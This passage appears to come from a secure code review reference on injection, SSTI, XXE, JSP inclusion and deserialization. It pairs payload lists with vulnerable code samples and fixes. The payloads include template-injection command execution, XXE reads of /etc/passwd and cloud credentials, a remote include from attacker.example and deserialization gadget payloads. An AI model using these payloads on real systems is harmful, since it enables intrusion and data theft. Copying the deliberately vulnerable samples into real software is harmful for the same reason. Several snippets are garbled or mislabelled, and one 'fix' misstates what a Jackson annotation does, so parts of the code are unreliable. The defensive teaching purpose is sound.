    engine.AddHostObject("weight", weight);
    return Convert.ToDecimal(engine.Evaluate(userFormula));
}
```

JavaScript

```
const express = require("express");
const app = express();

app.post("/rules/test", (req, res) => {
    const formula = req.body.formula || "0";
    const ctx = { orderTotal: req.body.orderTotal };
    res.send(String(eval(`with(ctx){${formula}`))); // attacker-controlled expression
});
```

Go

```
func evaluatePricingRule(w http.ResponseWriter, r *http.Request) {
    rule := r.FormValue("rule")
    vm := goja.New()
    vm.Set("subtotal", parseFloat(r.FormValue("subtotal")))
    val, err := vm.RunString("(" + rule + ")")
    if err != nil {
        http.Error(w, err.Error(), 500)
        return
    }
    fmt.Fprint(w, val)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Avoid `eval` and `exec` on untrusted strings. Use restricted evaluators or fixed server-side logic.

```
from simpleeval import simple_eval

@app.route("/billing/discount")
def apply_discount():
    body = request.get_json()
    rule = body.get("formula", "0")
    subtotal = body.get("subtotal", 0)
    try:
        discount = simple_eval(rule, names={"subtotal": subtotal})
    except Exception:
        return "Invalid formula", 400
    return str(discount)
```

```
# ast.literal_eval – literals only, not expressions:
import ast
data = ast.literal_eval('{"key": "value"}') # safe for literal structures
```

Important: `simpleeval` limits semantics but is not a full sandbox for hostile admin input. Prefer fixed formulas implemented in Python for untrusted users.

Java

Replace `ScriptEngine.eval` on user input with arithmetic-only libraries or fixed Java code.


```
import net.objecthunter.exp4j.Expression;
import net.objecthunter.exp4j.ExpressionBuilder;

public double evaluateShipping(double weightKg, double distanceKm) {
    Expression expr = new ExpressionBuilder("base + weight * rate + distance * perKm")
        .variables("base", "weight", "rate", "distance", "perKm")
        .build();
    return expr.setVariable("weight", weightKg)
        .setVariable("distance", distanceKm)
        .setVariable("base", 5.0)
        .setVariable("rate", 0.8)
        .setVariable("perKm", 0.05)
        .evaluate();
}
```

Important: Bind variables through a sandboxed API. Never concatenate user strings into expression text.

C

Use expression parsers limited to math and boolean logic instead of full script engines.

```
using NCalc;

public object EvaluateFormula(string expression, Dictionary<string, object> parameters)
{
    var expr = new Expression(expression);
    foreach (var kv in parameters)
        expr.Parameters[kv.Key] = kv.Value;
    return expr.Evaluate();
}
```

Important: Avoid ClearScript or Roslyn on user text unless heavily sandboxed, authorized, and audited.

Go

Use a typed expression language with limited builtins instead of full JavaScript runtimes.

```
import "github.com/expr-lang/expr"

func evaluateFormula(input string, env map[string]interface{}) (interface{}, error) {
    program, err := expr.Compile(input, expr.Env(env))
    if err != nil {
        return nil, err
    }
    return expr.Run(program, env)
}
```

Important: Avoid `RunString` on user input in goja, Otto, or yaegi unless in a hardened sandbox with no host bindings.

JSON injection {:#json }

From former 4-07-review-json-injection.md. **Guiding chapter section:** [4.2 - Review Interpreter Injection § JSON injection](#).

4.7 Code Reference — Review JSON Injection

Attack Payloads

Use these in authorized tests when user input is concatenated into JSON or merged into parsed objects. Confirm whether the backend uses a strict schema before relying on a single payload.

Pattern 1: String termination and field injection

```
", "tenant_id": "999", "x": "  
", "is_billing_admin": true, "note": "
```

Built manually: `{"note": "PAYLOAD", "invoice_id": 42}` where `PAYLOAD` closes the string and adds keys.

Pattern 2: Prototype pollution (JavaScript merge sinks)

```
{"__proto__": {"canApproveInvoices": true}}  
{"constructor": {"prototype": {"tenant": "evil"}}}  
{"__proto__": {"skipFraudCheck": true}}
```

Pattern 3: Mass-assignment privilege escalation

```
{"invoice_id": 1001, "status": "paid", "approved_by": "attacker"}  
{"line_total": 0, "tax_rate": 0, "currency": "USD"}  
{"owner_org_id": 1, "target_org_id": 999}
```

Pattern 4: Array and type confusion

```
{"line_items": [1, 2, ""]; DROP TABLE invoices; --"}  
{"amount": "99.99", "amount": 0.01}  
{"auto_renew": "false"}
```

Pattern 5: Nested object injection

```
{"metadata":{"source":"webhook"},"billing":{"write_off":true}}
{"payload":{"__proto__":{"admin":true}}}
```

Pattern 6: JSON inside JSON (double encoding)

```
%7B%22status%22%3A%22paid%22%7D
{"status\\":\\"paid\\"}
```

Language-Specific Sinks and Dangerous APIs

Search for manual JSON construction and untyped object merges. Any path that trusts client keys without schema validation is a review priority.

Python

```
payload = f'{{"note":"{note}","invoice_id":{"inv_id}}}'
data = json.loads(raw) # then data.update(request.json)
Invoice(**request.get_json()) # accepts all keys if model allows
webhook = {**defaults, **request.json}
```

Java

```
String json = "{\"name\\\":\\" + name + "\\"}";
ObjectMapper mapper = new ObjectMapper();
Map<String, Object> body = mapper.readValue(input, Map.class);
BeanUtils.copyProperties(clientDto, serverEntity);
```

C

```
var json = `${{"role\\":\\"{role}\\"}}`;
var obj = JsonConvert.DeserializeObject<Dictionary<string, object>>(body);
// Mass assignment:
_mapper.Map(clientModel, entity);
```

JavaScript (Node.js)

```
const body = `{ "name": "${req.body.name}" }`;
Object.assign(target, req.body);
lodash.merge(config, JSON.parse(userJson));
target.__proto__ = parsed.__proto__;
```

Go

```
payload := fmt.Sprintf(`{"name":"%s"}`, name)
json.Unmarshal(body, &map[string]interface{}{})
decoder.DisallowUnknownFields() // missing = accepts extra keys
```

SQL (JSON columns)

```
UPDATE users SET profile = profile || user_json_fragment;
JSON_SET(profile, CONCAT('$.', user_key), user_value);
```

Vulnerable Examples in Other Languages

Java

```
@PostMapping("/webhooks/invoice")
public ResponseEntity<String> relayInvoice(@RequestBody String raw) {
    String json = "{\"vendor\":\"\" + extractVendor(raw) + "\", \"payload\":\"" + raw + "\"";
    eventBus.publish("invoice-events", json);
    return ResponseEntity.ok(json);
}

@PostMapping("/invoices/{id}/adjust")
public Invoice adjust(@PathVariable long id, @RequestBody Map<String, Object> body) {
    Invoice invoice = invoiceRepo.findById(id);
    invoice.setStatus((String) body.get("status")); // attacker sends "status": "paid"
    invoice.setWriteOff((Double) body.get("write_off"));
    return invoiceRepo.save(invoice);
}
```

C

```
[HttpPost("webhooks/billing")]
public IActionResult RelayBillingEvent([FromBody] JsonElement body)
{
    var json = $"{{\"event\": \"{body.GetProperty(\"event\")}\", \"amount\": {body.GetProperty(\"amount\")}, \"memo\": \"{body.GetProperty(\"memo\")}\"}}";
    _queue.Publish(json);
    return Ok(json);
}

[HttpPatch("subscriptions/{id}")]
public IActionResult PatchSubscription(int id, [FromBody] Dictionary<string, object> fields)
{
    var sub = _db.Subscriptions.Find(id);
    foreach (var kv in fields)
        typeof(Subscription).GetProperty(kv.Key)?.SetValue(sub, kv.Value);
    _db.SaveChanges();
    return Ok(sub);
}
```

JavaScript

```
app.post("/api/webhooks/invoice", (req, res) => {
    const memo = req.body.memo;
    const payload = `{"memo": "${memo}", "invoice_id": ${req.body.invoice_id}}`;
    broker.publish("invoice-events", payload);
    res.type("json").send(payload);
});

app.patch("/api/invoices/:id", (req, res) => {
    Object.assign(currentInvoice, req.body); // merges attacker keys (e.g. status, write_off)
    saveInvoice(currentInvoice);
    res.json(currentInvoice);
});
```

Go

```
func relayWebhook(w http.ResponseWriter, r *http.Request) {
    memo := r.FormValue("memo")
    invoiceID := r.FormValue("invoice_id")
    payload := fmt.Sprintf(`{"memo":"%s","invoice_id":%s}`, memo, invoiceID)
    queue.Publish("invoice-events", payload)
    w.Write([]byte(payload))
}

func patchInvoice(w http.ResponseWriter, r *http.Request) {
    var patch map[string]interface{}
    json.NewDecoder(r.Body).Decode(&patch)
    inv := loadInvoice(invoiceIDFromPath(r))
    mergeMap(inv, patch) // copies attacker keys into struct via reflection
    saveInvoice(inv)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Build structures as dicts, then serialize with `json.dumps`. Never f-string JSON.

```
import json

@app.route("/api/webhooks/invoice", methods=["POST"])
def relay_invoice_webhook():
    note = request.form["note"]
    invoice_id = int(request.form["invoice_id"])
    payload = json.dumps({"note": note, "invoice_id": invoice_id})
    queue.publish("invoice-events", payload)
    return payload
```

```
from pydantic import BaseModel, ConfigDict, Field

class InvoiceAdjust(BaseModel):
    model_config = ConfigDict(extra="forbid")
    memo: str = Field(max_length=256)

@app.route("/invoices/<int:inv_id>/memo", methods=["PATCH"])
def patch_invoice_memo(inv_id):
    data = InvoiceAdjust.model_validate(request.get_json())
    invoice = load_invoice(inv_id)
    invoice.memo = data.memo # explicit fields only
    db.session.commit()
    return jsonify({"memo": invoice.memo})
```

Important: Never `__dict__.update(request.json)` on persisted entities. Use separate read and write models.

Java

Serialize with Jackson. Bind to typed DTOs with unknown fields rejected.

```
import com.fasterxml.jackson.databind.ObjectMapper;

ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(Map.of(
    "note", note,
    "invoiceId", invoiceId
));
```

```
@JsonIgnoreProperties(ignoreUnknown = true)
public record InvoiceAdjustRequest(
    @NotBlank @Size(max = 256) String memo
    // status and write_off are NOT accepted from client – computed server-side
) {}
```

Important: Avoid raw `Map<String, Object>` for security-sensitive endpoints. Use typed records with Bean Validation.

C

Serialize typed objects. Reject unknown members on sensitive models.

```
var payload = JsonSerializer.Serialize(new BillingWebhookMessage
{
    Event = dto.Event,
    Amount = dto.Amount,
    Tax = ComputeTax(dto.Sku, UserId) // server-computed
});
```

```
// Strict deserialization:
var options = new JsonSerializerOptions { UnmappedMemberHandling =
JsonUnmappedMemberHandling.Disallow };
var dto = JsonSerializer.Deserialize<InvoiceMemoRequest>(body, options);
```

Important: Audit `[JsonExtensionData]` on sensitive models. Unexpected keys must not silently capture privileged fields.

Go

Unmarshal into typed structs. Disallow unknown fields for strict parsing.

```
func relayWebhook(w http.ResponseWriter, r *http.Request) {
    var req InvoiceWebhookRequest
    dec := json.NewDecoder(r.Body)
    dec.DisallowUnknownFields()
    if err := dec.Decode(&req); err != nil {
        http.Error(w, "invalid json", http.StatusBadRequest)
        return
    }
    payload, _ := json.Marshal(map[string]interface{}{
        "memo":      req.Memo,
        "invoice_id": req.InvoiceID,
    })
    w.Write(payload)
}
```

Important: Avoid `map[string]interface{}` for auth or billing endpoints. Use separate input structs from persistence models.

Server-side template injection {: #ssti }

From former 4-10-review-ssti.md. **Guiding chapter section:** [4.2 - Review Interpreter Injection § Server-side template injection](#).

4.10 Code Reference — Review SSTI

Attack Payloads

Use these in authorized tests when user input reaches template source or expression slots. A math probe that returns 49 confirms evaluation. Replace probes with impact payloads only in authorized environments.

Pattern 1: Detection probes (math evaluation)

```
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
${{7*7}}
*{7*7}
```


Pattern 2: Jinja2 / Flask

```
{{config}}
{{'.__class__.__mro__[1].__subclasses__()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
```

Pattern 3: Twig (PHP)

```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
```

Pattern 4: Freemarker (Java)

```
`${freemarker.template.utility.Execute}?new()("id")}`
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
```

Pattern 5: Thymeleaf / Spring

```
__${T(java.lang.Runtime).getRuntime().exec('id')}__::x
${T(java.lang.Runtime).getRuntime().exec('id')}
```

Pattern 6: Pebble / Velocity / Razor-style

```
{% set cmd = 'id' %}{% import cmd %}
#set($e="e");
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
@(1+2); System.Diagnostics.Process.Start("cmd.exe","/c id");
```

Language-Specific Sinks and Dangerous APIs

Search for compile-from-string and expression evaluation in template engines. User data must stay in the data layer, never in template syntax.

Python (Jinja2)

```
Template("Hello {{ " + name + " }}").render()
env.from_string(user_template).render()
render_template_string(user_html)
Environment(autoescape=False).from_string(user_src)
```

Java (Thymeleaf / Freemarker / Velocity)

```
templateEngine.process(userTemplate, context);
cfg.getTemplate(userPath).process(data, writer);
Velocity.evaluate(context, writer, "", userSnippet);
```

C# (Razor)

```
var result = Razor.Parse(userTemplate);
Engine.Razor.RunCompile(userContent, "dynamic", null, model);
@Html.Raw(userTemplate) // when template source is user-controlled
```

JavaScript (Handlebars / EJS / Nunjucks)

```
handlebars.compile(userTemplate)(data);
ejs.render(userTemplate, data);
nunjucks.renderString(userTemplate, data);
```

Go (text/template vs html/template)

```
tmpl, _ := template.New("t").Parse(userTemplate) // text/template executes code
tmpl.Execute(w, data)
```

HTML (server-side includes with expression engines)

```
<c:set var="tpl" value="${param.template}"/>
${userExpression} <!-- EL evaluated server-side -->
```

Vulnerable Examples in Other Languages

Java

```
public String renderNewsletterPreview(String userSubject, Map<String, Object> ctx) {
    Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
    Template tpl = new Template("preview", "Newsletter: ${subject}", cfg);
    ctx.put("subject", userSubject); // userSubject may contain ${...} directives
    StringWriter out = new StringWriter();
    tpl.process(ctx, out);
    return out.toString();
}
```

C

```
public IActionResult PreviewInvoice([FromForm] string headerHtml)
{
    var engine = new RazorLightEngineBuilder()
        .UseMemoryCachingProvider()
        .Build();
    var html = engine.CompileRenderStringAsync(
        Guid.NewGuid().ToString(), headerHtml, model).Result;
    return Content(html, "text/html");
}
```

HTML

```
<!-- Admin email preview compiles user-supplied header as template source -->
<form action="/email/preview" method="post">
    <textarea name="header">Invoice {{invoice_id}}</textarea>
    <!-- Attacker adds {{7*7}} or engine-specific directives -->
</form>

<!-- Notification builder treats stored snippet as template source -->
<div>${userHeaderSnippet}</div>
```

Go

```
func previewNewsletter(w http.ResponseWriter, r *http.Request) {
    header := r.FormValue("header")
    tmpl, _ := template.New("preview").Parse("{{ define \"main\" }}" + header + "{{ end }}")
    tmpl.ExecuteTemplate(w, "main", nil)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Load templates from files. Pass user data only as render variables.

```
from flask import Flask, render_template, request

app = Flask(__name__)

@app.route("/email/preview")
def email_preview():
    subject = request.args.get("subject", "Your invoice")
    return render_template("email_preview.html", subject=subject)
```

```
{# email_preview.html – static template file *#}  
<p>Subject: {{ subject }}</p>
```

Important: Never call `Environment.from_string()` or `Template()` on HTTP request data. Use `FileSystemLoader` with static templates on disk.

```
# Rich text – sanitize, do not compile as template:  
import bleach  
clean_subject = bleach.clean(subject, tags=[], strip=True)
```

Java

Precompile static templates from classpath resources. Pass user content via model attributes only.

```
@GetMapping("/email/preview")  
public String preview(@RequestParam String subject, Model model) {  
    model.addAttribute("subject", subject); // data variable, not template source  
    return "email_preview"; // static email_preview.html with th:text="${subject}"  
}
```

```
<!-- email_preview.html -->  
<p th:text="${subject}"></p>
```

Important: Never call `TemplateEngine.process(String userTpl, ...)` on HTTP input. Avoid `th:utext` on untrusted fields.

C

Ship precompiled Razor views. Do not compile arbitrary strings from users.

```
@* EmailPreview.cshtml – user content as encoded model field *@  
<p>@Model.Subject</p>
```

```
public IActionResult Preview(EmailPreviewRequest request)  
{  
    return View(new EmailPreviewViewModel { Subject = request.Subject });  
}
```

Important: Avoid `CompileRenderStringAsync` on HTTP bodies unless heavily sandboxed and restricted to break-glass admin roles.

Go

Parse known template files at startup. Never `Parse(userInput)` on request bodies.

```
//go:embed templates/*
var tmplFS embed.FS

var emailTpl = template.Must(
    template.ParseFS(tmplFS, "templates/email_preview.html"))

func emailPreview(w http.ResponseWriter, r *http.Request) {
    subject := r.URL.Query().Get("subject")
    emailTpl.Execute(w, struct{ Subject string }{Subject: subject})
}
```

Important: Pass user strings as template data fields, not as template definitions. Use `embed.FS` or `ParseGlob` at startup.

4.3 Code Reference — Review Parsers and Unsafe Reconstitution

XXE {:#xxe }

From former 4-09-review-xxe.md. **Guiding chapter section:** [4.3 - Review Parsers and Unsafe Reconstitution § XXE](#).

4.9 Code Reference — Review XXE

Attack Payloads

Use these in authorized tests when the application parses attacker-controlled XML. Confirm parser hardening before relying on file read or SSRF outcomes.

Pattern 1: Classic external entity file read

```
<?xml version="1.0"?>
<!DOCTYPE saml [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<saml:Assertion>&xxe;</saml:Assertion>
```

Pattern 2: Parameter entity (blind / filtered contexts)

```
<!DOCTYPE response [
  <!ENTITY % ext SYSTEM "file:///var/www/app/config/database.yml">
  %ext;
]>
<soap:Envelope></soap:Envelope>
```

Pattern 3: SSRF via external entity URL

```
<!DOCTYPE feed [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<rss>&xxe;</rss>
```

Pattern 4: Billion laughs (DoS)

```
<!--DOCTYPE invoice [
  <!--ENTITY a "x">
  <!--ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;">
  <!--ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
--]>
<Invoice>&c;</Invoice>
```

Pattern 5: XInclude file read

```
<config xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///app/secrets/api-keys.xml"/>
</config>
```

Pattern 6: UTF-7 / encoding bypass (legacy parsers)

```
+ADw-!DOCTYPE saml +AFs--+AD4-
+ADw-!ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI--+AD4-
```

Language-Specific Sinks and Dangerous APIs

Search for XML parser construction without secure feature flags. Default factory settings often enable DTDs and external entities.

Python

```
from lxml import etree
parser = etree.XMLParser(resolve_entities=True)
etree.parse(user_file) # lxml defaults may resolve entities

import xml.etree.ElementTree as ET
ET.parse(upload) # stdlib – review defusedxml usage

from defusedxml import ElementTree as SafeET
SafeET.parse(upload) # preferred – verify project uses this
```

Java

```
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
Document doc = dbf.newDocumentBuilder().parse(inputStream);

SAXParserFactory spf = SAXParserFactory.newInstance();
spf.newSAXParser().parse(inputStream, handler);

XMLInputFactory xif = XMLInputFactory.newFactory();
xif.createXMLStreamReader(reader);
```

C

```
var doc = new XmlDocument();
doc.LoadXml(userXml); // XmlDocument resolves entities by default

var reader = XmlReader.Create(stream); // without DtdProcessing.Prohibit
```

JavaScript (Node.js)

```
const libxml = require('libxmljs2');
libxml.parseXml(userXml); // noent:true enables entities

const { DOMParser } = require('@xmldom/xmldom');
new DOMParser().parseFromString(userXml, 'text/xml');
```

Go

```
xml.Unmarshal(userBytes, &v) // encoding/xml – review Decoder settings
decoder := xml.NewDecoder(bytes.NewReader(userBytes))
decoder.Strict = false
```

C (libxml2)

```
xmlReadMemory(buf, size, NULL, NULL, 0); // default may fetch external entities
xmlCtxtReadDoc(ctxt, buf, NULL, NULL, XML_PARSE_DTDLOAD);
```


Vulnerable Examples in Other Languages

Java

```
public Document parseSamlAssertion(InputStream in) throws Exception {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    // defaults: external entities may be enabled depending on JDK/parser
    DocumentBuilder builder = dbf.newDocumentBuilder();
    return builder.parse(in);
}

public void parseSoapEnvelope(InputStream xml, InputStream xsl) throws Exception {
    TransformerFactory tf = TransformerFactory.newInstance();
    Transformer t = tf.newTransformer(new StreamSource(xsl));
    t.transform(new StreamSource(xml), new StreamResult(System.out));
}
```

C

```
public XmlDocument ParseSamlResponse(string xml)
{
    var doc = new XmlDocument();
    doc.XmlResolver = new XmlUrlResolver(); // resolves external entities
    doc.LoadXml(xml);
    return doc;
}

public XDocument ParseRssFeed(Stream stream)
{
    return XDocument.Load(stream); // default settings may fetch external DTDs
}
```

Go

```
func parseSoapEnvelope(body []byte) error {
    // Third-party XML libs may expand entities if misconfigured
    doc, err := libxml.Parse(body, libxml.DefaultParserOptions)
    return err
}
```

Fix: Safer Patterns and Libraries to Use

Python

Use defusedxml or hardened lxml settings. Disable entity resolution and network access.

```
from defusedxml import ElementTree as ET

def parse_saml_assertion(data: bytes):
    return ET.fromstring(data)
```

```
from lxml import etree

def parse_saml_hardened(data: bytes):
    parser = etree.XMLParser(
        resolve_entities=False,
        no_network=True,
        dtd_validation=False,
        load_dtd=False,
    )
    return etree.fromstring(data, parser)
```

Important: Standard library `xml.etree.ElementTree` is safer than misconfigured `lxml` but `defusedxml` is the recommended drop-in for untrusted XML.

Java

Disable DTDs and external entities on `DocumentBuilderFactory`.

```
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
return builder.parse(in);
```

Important: Partial hardening that disables only external entities while DTDs remain allowed is insufficient when DTDs are not required. Prefer `disallow-doctype-decl`.

C

Use `XmlReaderSettings` with DTD processing prohibited.

```
var settings = new XmlReaderSettings
{
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};
using var reader = XmlReader.Create(stream, settings);
var doc = XDocument.Load(reader);
```

```
// Legacy XmlDocument – avoid on untrusted input; if required:
var doc = new XmlDocument { XmlResolver = null };
using var reader = XmlReader.Create(stream, settings);
doc.Load(reader);
```

Important: Do not call `XDocument.Load(string)` or `XDocument.Load(stream)` on untrusted input without secure `XmlReader` settings.

Go

Default encoding/xml does not resolve external entities. Audit third-party CGo bindings.

```
import "encoding/xml"

func parseSamlAssertion(body []byte) (Assertion, error) {
    var env Assertion
    if bytes.Contains(body, []byte("<!DOCTYPE")) ||
        bytes.Contains(body, []byte("<!ENTITY")) {
        return env, errors.New("DOCTYPE/ENTITY not allowed")
    }
    err := xml.Unmarshal(body, &env)
    return env, err
}
```

Important: Reject documents containing `<!DOCTYPE` or `<!ENTITY` before third-party parsing when policy requires zero DTD support.

Dynamic JSP inclusion {: #jsp-include }

From former 4-08-review-dynamic-jsp-inclusion.md. **Guiding chapter section:** [4.3 - Review Parsers and Unsafe Reconstitution § Dynamic JSP inclusion](#).

4.8 Code Reference — Review Dynamic JSP Inclusion

Attack Payloads

Use these in authorized tests when a parameter selects which page or fragment is included. Replace PARAM with the vulnerable query or form field name.

Pattern 1: Directory traversal via include path

```
TAB=../../../../WEB-INF/spring-security.xml
TAB=../../../../etc/passwd
TAB=..%2f..%2f..%2fWEB-INF%2fbeans.xml
```

Pattern 2: Absolute path under web root

```
TAB=/admin/reports.jsp
TAB=/WEB-INF/applicationContext.xml
TAB=/META-INF/context.xml
```

Pattern 3: Alternate extension and backup files

```
TAB=sidebar.jsp.bak
TAB=datasource.properties
TAB=../../../../application-prod.yml
```

Pattern 4: Null byte and encoding tricks (legacy parsers)

```
TAB=chart.jsp%00
TAB=..%252f..%252fadmin%252fusers
TAB=..%c0%af..%c0%afetc/passwd
```

Pattern 5: Remote / SSRF-style include (when url= is supported)

```
TAB=https://attacker.example/malicious.jsp
url=file:///etc/shadow
url=http://169.254.169.254/latest/meta-data/
```

Pattern 6: Framework view-name injection

```
TAB=redirect:/admin/billing
TAB=..\..\..\windows\system32\drivers\etc\hosts
view=reports/../../secrets
```

Language-Specific Sinks and Dangerous APIs

Search for include directives and dynamic view resolution. Any path built from request parameters without an allowlist is a review priority.

Java (JSP / JSTL)

```
<jsp:include page="${param.page}"/>
<c:import url="${param.fragment}"/>
<%@ include file="%= request.getParameter("tpl") %>" %>
RequestDispatcher rd = req.getRequestDispatcher(userPage); rd.include(req, resp);
```

Java (Spring MVC)

```
return userViewName; // from request parameter
ModelAndView mv = new ModelAndView(request.getParameter("view"));
return "redirect:" + userPath;
```

Python (Flask / Jinja2)

```
return render_template(f"partials/{fragment}.html")
return render_template(request.args.get("page"))
app.jinja_env.get_template(user_path).render()
```

C# (ASP.NET / Razor)

```
return PartialView(userSelectedPartial);
@Html.Partial(Model.FragmentName)
@await Html.PartialAsync(Request.Query["view"])
```

JavaScript (server-side rendering)

```
res.render(req.query.template, data);
ejs.renderFile(`views/${req.params.page}.ejs`, data);
```

Go

```
tmpl := template.Must(template.ParseFiles("templates/" + r.URL.Query().Get("page")))
http.ServeFile(w, r, filepath.Join("views", userFragment))
```

Vulnerable Examples in Other Languages

Java

```
<%@ page contentType="text/html; charset=UTF-8" %>
<jsp:include page="dashboard/${param.tab}.jsp"/>
```

```
@GetMapping("/dashboard/panel")
public String panel(@RequestParam String tab, Model model) {
    model.addAttribute("metrics", loadMetrics());
    return "dashboard/" + tab; // user supplies ../admin/billing
}
```

C

```
public IActionResult LoadDashboardTab(string tab)
{
    return PartialView($"~/Views/Dashboard/{tab}.cshtml");
}

public IActionResult Analytics(string chart)
{
    return View($"Analytics/{chart}"); // chart = "../../Web.config"
}
```

HTML

```
<!-- Dynamic include driven by request parameter --%>
<%@ include file="<%= request.getParameter("page") %>" %>

<!-- JSP include with user-controlled path segment --%>
<jsp:include page="/partials/${param.partial}.jsp"/>
```

```
<!-- SSI-style server include (when enabled) -->
<!--#include virtual="/partials/" + param('page') + ".html" -->
```

Fix: Safer Patterns and Libraries to Use

Python

Map known keys to fixed template paths. Never pass raw user path segments to `render_template`.

```
DASHBOARD_TABS = {
    "overview": "dashboard/overview.html",
    "billing": "dashboard/billing.html",
    "usage": "dashboard/usage.html",
}

@app.route("/dashboard/panel")
def dashboard_panel():
    key = request.args.get("tab", "overview")
    template_name = DASHBOARD_TABS.get(key)
    if template_name is None:
        return "Unknown tab", 400
    return render_template(template_name)
```

```
from werkzeug.security import safe_join

@app.route("/asset")
def asset():
    name = request.args.get("file", "")
    path = safe_join("/var/www/static/partials", name)
    if path is None:
        return "Invalid path", 400
    return send_from_directory("/var/www/static/partials", os.path.basename(path))
```

Important: `safe_join` rejects paths that escape the base directory. Combine with allowlists for defense in depth.

Java

Map known keys to fixed JSP paths. Never return raw user strings as view names.

```

private static final Map<String, String> DASHBOARD_TABS = Map.of(
    "overview", "dashboard/overview",
    "billing", "dashboard/billing",
    "usage", "dashboard/usage"
);

@GetMapping("/dashboard/panel")
public String panel(@RequestParam String tab, Model model) {
    String viewName = DASHBOARD_TABS.get(tab);
    if (viewName == null) {
        throw new ResponseStatusException(HttpStatus.BAD_REQUEST);
    }
    model.addAttribute("metrics", loadMetrics());
    return viewName;
}

```

```

Path base = Path.of("/app/views").toAbsolutePath().normalize();
Path resolved = base.resolve(name).normalize();
if (!resolved.startsWith(base)) {
    throw new SecurityException("path traversal");
}

```

Important: Spring `InternalResourceViewResolver` must receive enum or constant view names only, not request parameters.

C

Use enum-driven partials instead of string view names from the client.

```

public enum DashboardTab { Overview, Billing, Usage }

public IActionResult LoadTab(DashboardTab tab)
{
    var viewName = tab switch
    {
        DashboardTab.Overview => "_Overview",
        DashboardTab.Billing => "_Billing",
        DashboardTab.Usage => "_Usage",
        _ => throw new ArgumentOutOfRangeException(nameof(tab))
    };
    return PartialView(viewName);
}

```

```

var fullPath = Path.GetFullPath(Path.Combine(_viewsRoot, name));
if (!fullPath.StartsWith(_viewsRoot, StringComparison.Ordinal))
    return BadRequest();

```


Important: Precompiled Razor views must not compile arbitrary .cshtml paths from user input at runtime.

Go

Parse templates at startup from a fixed set. Allowlist lookup for runtime selection.

```
//go:embed templates/dashboard/*
var dashboardFS embed.FS

var dashboardTemplates = template.Must(
    template.ParseFS(dashboardFS, "templates/dashboard/*.html"))

var dashboardTabs = map[string]string{
    "overview": "overview.html",
    "billing":  "billing.html",
    "usage":    "usage.html",
}

func renderDashboardTab(w http.ResponseWriter, r *http.Request) {
    key := r.URL.Query().Get("tab")
    file, ok := dashboardTabs[key]
    if !ok {
        http.Error(w, "unknown tab", http.StatusBadRequest)
        return
    }
    dashboardTemplates.ExecuteTemplate(w, file, nil)
}
```

Important: Avoid `http.ServeFile` and `ParseFiles` with user-influenced paths per request.

Insecure deserialization {:#deserialization }

From former 4-38-review-insecure-deserialization.md. **Guiding chapter section:** [4.3 - Review Parsers and Unsafe Reconstitution § Insecure deserialization](#).

4.38 Code Reference — Review Insecure Deserialization

Attack Payloads

Use crafted payloads only in isolated lab environments with authorization. Binary gadget chains vary by classpath and library versions.

Pattern 1: Python pickle opcode injection

Pickle opcodes can invoke `os.system`, `eval`, or arbitrary callables during `pickle.loads`. Tools such as `pickle-assembly` generate test blobs—never paste untrusted pickle bytes into production parsers.

Pattern 2: Java ysoserial gadget chains

```
# Common gadget-bearing libraries on classpath:
# commons-collections, commons-beanutils, spring, groovy
# Generate with ysoserial for authorized pentest:
java -jar ysoserial.jar CommonsCollections6 'id' | base64
```

Pattern 3: Jackson default typing

```
["com.example.Evil", {"cmd": "id"}]
{"@class": "java.lang.ProcessBuilder", "command": ["id"]}
```

Pattern 4: YAML type tags (Python)

```
!!python/object/apply:os.system ["id"]
!!python/object/new:subprocess.check_output [["id"]]
```

Pattern 5: .NET TypeNameHandling

```
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "ObjectInstance": { "$type": "System.Diagnostics.Process, System" }
}
```

Pattern 6: Ruby Marshal load from cache

```
# Redis session blob – attacker replaces value with crafted Marshal stream
session = Marshal.load(redis.get("sess:#{sid}"))
```

Pattern 7: PHP phar deserialization

```
// phar:// wrapper triggers metadata deserialization on file_exists()
file_exists('phar://uploads/evil.phar/b.txt');
```

Language-Specific Sinks and Dangerous APIs

Python

```
pickle.loads(data)
pickle.load(file)
yaml.load(data) # Loader=yaml.Loader or unsafe default
yaml.unsafe_load(data)
marshal.loads(data)
shelve.open(user_path)
jsonpickle.decode(data)
```

Also review: `torch.load`, `numpy.load(..., allow_pickle=True)`, `dill.loads`, Redis/cache storing pickled objects.

Java

```
ObjectInputStream.readObject()
ObjectInputStream.readUnshared()
XMLDecoder.readObject()
XStream.fromXML(userXml);
new ObjectMapper().enableDefaultTyping(...);
JSON.parseObject(json, Object.class); // Fastjson autoType
Serializable.readObject in RMI/JMX endpoints
```

MyBatis, Hibernate, and Spring remoting with Java serialization on the wire.

C

```
BinaryFormatter.Deserialize(stream);
SoapFormatter.Deserialize(stream);
LosFormatter.Deserialize(...);
JsonConvert.DeserializeObject<T>(json, new JsonSerializerSettings {
